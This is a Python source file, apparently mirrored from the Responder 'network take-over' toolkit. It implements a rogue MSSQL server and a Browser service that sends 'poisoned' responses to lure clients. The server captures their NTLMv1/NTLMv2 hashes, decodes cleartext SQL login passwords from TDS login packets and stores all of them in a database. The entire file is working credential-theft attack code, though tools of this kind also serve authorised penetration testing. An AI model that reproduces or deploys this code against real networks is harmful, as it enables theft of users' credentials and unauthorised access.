mirror of
https://github.com/lgandx/Responder.git
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187 lines
7.4 KiB
Python
187 lines
7.4 KiB
Python
#!/usr/bin/env python
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# This file is part of Responder, a network take-over set of tools
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# created and maintained by Laurent Gaffie.
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# email: laurent.gaffie@gmail.com
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# This program is free software: you can redistribute it and/or modify
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# it under the terms of the GNU General Public License as published by
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# the Free Software Foundation, either version 3 of the License, or
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# (at your option) any later version.
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#
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# This program is distributed in the hope that it will be useful,
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# but WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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# GNU General Public License for more details.
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#
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# You should have received a copy of the GNU General Public License
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# along with this program. If not, see <http://www.gnu.org/licenses/>.
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import random
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import struct
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import codecs
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from utils import *
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if settings.Config.PY2OR3 == "PY3":
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from socketserver import BaseRequestHandler
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else:
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from SocketServer import BaseRequestHandler
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from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
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class TDS_Login_Packet:
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def __init__(self, data):
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ClientNameOff = struct.unpack('<h', data[44:46])[0]
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ClientNameLen = struct.unpack('<h', data[46:48])[0]
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UserNameOff = struct.unpack('<h', data[48:50])[0]
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UserNameLen = struct.unpack('<h', data[50:52])[0]
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PasswordOff = struct.unpack('<h', data[52:54])[0]
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PasswordLen = struct.unpack('<h', data[54:56])[0]
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AppNameOff = struct.unpack('<h', data[56:58])[0]
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AppNameLen = struct.unpack('<h', data[58:60])[0]
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ServerNameOff = struct.unpack('<h', data[60:62])[0]
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ServerNameLen = struct.unpack('<h', data[62:64])[0]
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Unknown1Off = struct.unpack('<h', data[64:66])[0]
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Unknown1Len = struct.unpack('<h', data[66:68])[0]
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LibraryNameOff = struct.unpack('<h', data[68:70])[0]
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LibraryNameLen = struct.unpack('<h', data[70:72])[0]
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LocaleOff = struct.unpack('<h', data[72:74])[0]
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LocaleLen = struct.unpack('<h', data[74:76])[0]
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DatabaseNameOff = struct.unpack('<h', data[76:78])[0]
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DatabaseNameLen = struct.unpack('<h', data[78:80])[0]
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data = NetworkRecvBufferPython2or3(data)
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self.ClientName = data[8+ClientNameOff:8+ClientNameOff+ClientNameLen*2].replace('\x00', '')
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self.UserName = data[8+UserNameOff:8+UserNameOff+UserNameLen*2].replace('\x00', '')
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self.Password = data[8+PasswordOff:8+PasswordOff+PasswordLen*2].replace('\x00', '')
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self.AppName = data[8+AppNameOff:8+AppNameOff+AppNameLen*2].replace('\x00', '')
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self.ServerName = data[8+ServerNameOff:8+ServerNameOff+ServerNameLen*2].replace('\x00', '')
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self.Unknown1 = data[8+Unknown1Off:8+Unknown1Off+Unknown1Len*2].replace('\x00', '')
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self.LibraryName = data[8+LibraryNameOff:8+LibraryNameOff+LibraryNameLen*2].replace('\x00', '')
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self.Locale = data[8+LocaleOff:8+LocaleOff+LocaleLen*2].replace('\x00', '')
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self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '')
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def ParseSQLHash(data, client, Challenge):
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SSPIStart = data[8:]
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LMhashLen = struct.unpack('<H',data[20:22])[0]
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LMhashOffset = struct.unpack('<H',data[24:26])[0]
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LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen]
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LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
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NthashLen = struct.unpack('<H',data[30:32])[0]
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NthashOffset = struct.unpack('<H',data[32:34])[0]
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NTHash = SSPIStart[NthashOffset:NthashOffset+NthashLen]
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NTHash = codecs.encode(NTHash, 'hex').upper().decode('latin-1')
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DomainLen = struct.unpack('<H',data[36:38])[0]
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DomainOffset = struct.unpack('<H',data[40:42])[0]
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Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
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UserLen = struct.unpack('<H',data[44:46])[0]
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UserOffset = struct.unpack('<H',data[48:50])[0]
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User = SSPIStart[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
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if NthashLen == 24:
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WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, codecs.encode(Challenge,'hex').decode('latin-1'))
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SaveToDb({
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'module': 'MSSQL',
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'type': 'NTLMv1',
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'client': client,
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'user': Domain+'\\'+User,
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'hash': LMHash+":"+NTHash,
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'fullhash': WriteHash,
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})
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if NthashLen > 60:
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WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), NTHash[:32], NTHash[32:])
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SaveToDb({
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'module': 'MSSQL',
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'type': 'NTLMv2',
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'client': client,
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'user': Domain+'\\'+User,
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'hash': NTHash[:32]+":"+NTHash[32:],
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'fullhash': WriteHash,
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})
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def ParseSqlClearTxtPwd(Pwd):
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Pwd = map(ord,Pwd.replace('\xa5',''))
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Pw = b''
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for x in Pwd:
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Pw += codecs.decode(hex(x ^ 0xa5)[::-1][:2].replace("x", "0"), 'hex')
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return Pw.decode('latin-1')
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def ParseClearTextSQLPass(data, client):
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TDS = TDS_Login_Packet(data)
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SaveToDb({
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'module': 'MSSQL',
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'type': 'Cleartext',
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'client': client,
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'hostname': "%s (%s)" % (TDS.ServerName, TDS.DatabaseName),
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'user': TDS.UserName,
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'cleartext': ParseSqlClearTxtPwd(TDS.Password),
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'fullhash': TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password),
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})
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# MSSQL Server class
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class MSSQL(BaseRequestHandler):
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def handle(self):
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try:
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self.ntry = 0
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while True:
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data = self.request.recv(1024)
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self.request.settimeout(1)
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Challenge = RandomChallenge()
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if not data:
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break
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if settings.Config.Verbose:
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print(text("[MSSQL] Received connection from %s" % self.client_address[0].replace("::ffff:","")))
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if data[0] == b"\x12" or data[0] == 18: # Pre-Login Message
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Buffer = str(MSSQLPreLoginAnswer())
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self.request.send(NetworkSendBufferPython2or3(Buffer))
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data = self.request.recv(1024)
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if data[0] == b"\x10" or data[0] == 16: # NegoSSP
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if re.search(b'NTLMSSP',data):
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Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
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Packet.calculate()
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Buffer = str(Packet)
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self.request.send(NetworkSendBufferPython2or3(Buffer))
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data = self.request.recv(1024)
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else:
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ParseClearTextSQLPass(data,self.client_address[0])
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if data[0] == b'\x11' or data[0] == 17: # NegoSSP Auth
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ParseSQLHash(data,self.client_address[0],Challenge)
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except:
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pass
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# MSSQL Server Browser class
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# See "[MC-SQLR]: SQL Server Resolution Protocol": https://msdn.microsoft.com/en-us/library/cc219703.aspx
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class MSSQLBrowser(BaseRequestHandler):
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def handle(self):
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if settings.Config.Verbose:
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print(text("[MSSQL-BROWSER] Received request from %s" % self.client_address[0]))
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data, soc = self.request
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if data:
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if data[0] in b'\x02\x03': # CLNT_BCAST_EX / CLNT_UCAST_EX
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self.send_response(soc, "MSSQLSERVER")
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elif data[0:1] == b'\x04': # CLNT_UCAST_INST
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self.send_response(soc, data[1:].rstrip(b"\x00"))
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elif data[0:1] == b'\x0F': # CLNT_UCAST_DAC
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self.send_dac_response(soc)
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def send_response(self, soc, inst):
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print(text("[MSSQL-BROWSER] Sending poisoned response to %s" % self.client_address[0]))
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server_name = ''.join(chr(random.randint(ord('A'), ord('Z'))) for _ in range(random.randint(12, 20)))
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resp = "ServerName;%s;InstanceName;%s;IsClustered;No;Version;12.00.4100.00;tcp;1433;;" % (server_name, inst)
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soc.sendto(struct.pack("<BH", 0x05, len(resp)) + NetworkSendBufferPython2or3(resp), self.client_address)
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def send_dac_response(self, soc):
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print(text("[MSSQL-BROWSER] Sending poisoned DAC response to %s" % self.client_address[0]))
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soc.sendto(NetworkSendBufferPython2or3(struct.pack("<BHBH", 0x05, 0x06, 0x01, 1433)), self.client_address)
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